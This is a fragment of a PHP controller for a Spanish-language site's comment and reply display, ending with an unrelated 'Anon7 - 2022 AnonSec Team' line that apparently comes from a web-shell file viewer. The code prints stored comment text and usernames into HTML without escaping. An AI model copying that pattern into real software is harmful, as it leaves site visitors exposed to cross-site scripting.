							$cuerpo = '<img class="ico-status" width="62" height="62" alt="Eliminado por excesos" src="'.site_url("img/2011/ico-mod-elim.png").'" align="right" /> Comentario con excesos eliminado por el moderador';
							break;
				}
				
				$html = '<img class="avatar" src="'.$avatar_def.'" width="40" height="40" alt="avatar" style="float:left; margin: 0 25px 4px 0;"/>
				<strong><span style="color:#3D72C3">'.$comentario_resp['usuario'].'</span></strong><br/>
				'.$cuerpo;
				print $html;
			}
			else
			{
				$html = '<img class="avatar" src="'.site_url("img/2011/avatar_default.jpg").'" width="40" height="40" alt="avatar" style="float:left; margin: 0 5px 4px 0;"/>
				<strong><span style="color:#3D72C3">&nbsp;&nbsp;</span></strong><br/>
				<img class="ico-status" width="62" height="62" alt="Eliminado por excesos" src="'.site_url("img/2011/ico-mod-elim.png").'" align="right" /> Comentario eliminado por el moderador.';
				print $html;
			}
		}
		else
			print "Error";
	}

	public function leer_resp_desde_id()
	{
		$id = $this->input->post("id");
		if ($id !="")
		{
			$partes = explode("_", $id);
			$objeto_id = $partes[0];
			$tipo = $partes[1];
			$secuencia = $partes[2];

			if ($objeto_id !="" and $secuencia!="")
			{
				$this->load->library('memcached_library');
				$comentario_resp = $this->memcached_library->get('comentario_'.$objeto_id.'_'.$secuencia);
				if (!$comentario_resp)
				{
					$this->load->model("comentario","comentario",true);
					$comentario_resp = $this->comentario->dameRespuesta($objeto_id, $secuencia);
					$this->memcached_library->add('comentario_'.$objeto_id.'_'.$secuencia, $comentario_resp, 600);
				}
				if ($comentario_resp)
				{
					$img_estado = (isset($comentario_resp['imagen_estado']))?$comentario_resp['imagen_estado']:1;
					$this->load->library("comunidad_library");
					$avatar_def = $this->comunidad_library->armarAvatarLector($comentario_resp['id'],$comentario_resp['facebook_id'],$comentario_resp['avatar_mostrar'],$img_estado);
					
					switch ($comentario_resp['estado'])
					{
						case 1:
								$cuerpo = '<img class="ico-status" width="62" height="62" alt="Eliminado por excesos" src="'.site_url("img/2011/ico-mod-elim.png").'" align="right" /> Comentario con excesos eliminado por el moderador';
								break;
						case 2:
								$cuerpo = $comentario_resp['comentario'];
								break;
						case 3:
								$cuerpo = $comentario_resp['comentario'];
								break;
						case 4:
								$cuerpo = $comentario_resp['comentario'];
								break;
						case 5:
								$cuerpo = '<img class="ico-status" width="62" height="62" alt="Esperando moderacion" src="'.site_url("img/2011/ico-mod-block.png").'" align="right"/> Comentario pendiente de moderaci&oacute;n.';
								break;
						case 6:
								$cuerpo = '<img class="ico-status" width="62" height="62" alt="Eliminado por excesos" src="'.site_url("img/2011/ico-mod-elim.png").'" align="right" /> Comentario repetido eliminado por el moderador.';
								break;
						case 7:
								$cuerpo = '<img class="ico-status" width="62" height="62" alt="Eliminado por excesos" src="'.site_url("img/2011/ico-mod-elim.png").'" align="right" /> Comentario con excesos eliminado por el moderador';
								break;
					}
					
					$html = '<img class="avatar" src="'.$avatar_def.'" width="40" height="40" alt="avatar" style="float:left; margin: 0 5px 4px 0;"/>
					<strong><span style="color:#3D72C3">'.$comentario_resp['usuario'].'</span></strong><br/>
					'.$cuerpo;
					print $html;
				}
				else
				{
					$html = '<img class="avatar" src="'.site_url("img/2011/avatar_default.jpg").'" width="40" height="40" alt="avatar" style="float:left; margin: 0 5px 4px 0;"/>
					<strong><span style="color:#3D72C3">&nbsp;&nbsp;</span></strong><br/>
					<img class="ico-status" width="62" height="62" alt="Eliminado por excesos" src="'.site_url("img/2011/ico-mod-elim.png").'" align="right" /> Comentario eliminado por el moderador.';
					print $html;
				}
			}
			else
				print "Error";
		}
		else
			print "Error";
	}

	public function ver_todos()
	{
		$objeto_id = $this->input->post("objeto_id");
		$tipo = $this->input->post("tipo");
		$tiempo = $this->input->post("tiempo");
		if ($objeto_id and $tipo)
		{
			$this->load->library("memcached_library");
			$this->load->library("comunidad_library");
			$comentarios = $this->memcached_library->get('comentarios_lista_completo_'.$objeto_id.'_'.$tipo);
			if (!$comentarios)
			{
				$this->load->model("comentario","comentario",true);
				if ($tiempo == "corto")
					$comentarios = $this->comentario->dameComentariosMin($objeto_id, $tipo, "");
				else
					$comentarios = $this->comentario->dameComentarios($objeto_id, $tipo, "");

				$this->memcached_library->add('comentarios_lista_completo_'.$objeto_id.'_'.$tipo,$comentarios,3600);
			}
		}
		else
			$comentarios = false;

		$variables['comentarios']['lista'] = $comentarios;
		$variables['comentarios']['tipo'] = $tipo;
		$variables['objeto_id'] = $objeto_id;
		$user = $this->session->userdata('usuario');
		if ($user)
			$variables['usuario'] = $user;
		else
			$variables['usuario'] = false;

		$this->load->view("comentarios-resto",$variables);
	}

	public function ver_respuestas()
	{
		$objeto_id = $this->input->post("objeto_id");
		$tipo = $this->input->post("tipo");
		$tiempo = $this->input->post("tiempo");
		$secuencia = $this->input->post("secuencia");
		if ($objeto_id and $tipo and $secuencia)
		{
			$this->load->library("memcached_library");
			$this->load->library("comunidad_library");
			$comentarios = $this->memcached_library->get('comentarios_respuestas_'.$objeto_id.'_'.$secuencia.'_'.$tipo);
			if (!$comentarios)
			{
				$this->load->model("comentario","comentario",true);
				if ($tiempo == "corto")
					$comentarios = $this->comentario->dameRespuestasMin($objeto_id, $tipo, $secuencia);
				else
					$comentarios = $this->comentario->dameRespuestas($objeto_id, $tipo, $secuencia);

				$this->memcached_library->add('comentarios_respuestas_'.$objeto_id.'_'.$secuencia.'_'.$tipo,$comentarios,900);
			}
		}
		else
			$comentarios = false;

		$skin = "2012/";
		$variables['vista'] = $skin;
		$variables['comentarios'] = $comentarios;
		$variables['objeto_id'] = $objeto_id;
		$user = $this->session->userdata('usuario');
		if ($user)
			$variables['usuario'] = $user;
		else
			$variables['usuario'] = false;

		$this->load->view($skin."comentarios_respuestas",$variables);
	}
}
?>

Anon7 - 2022
AnonSec Team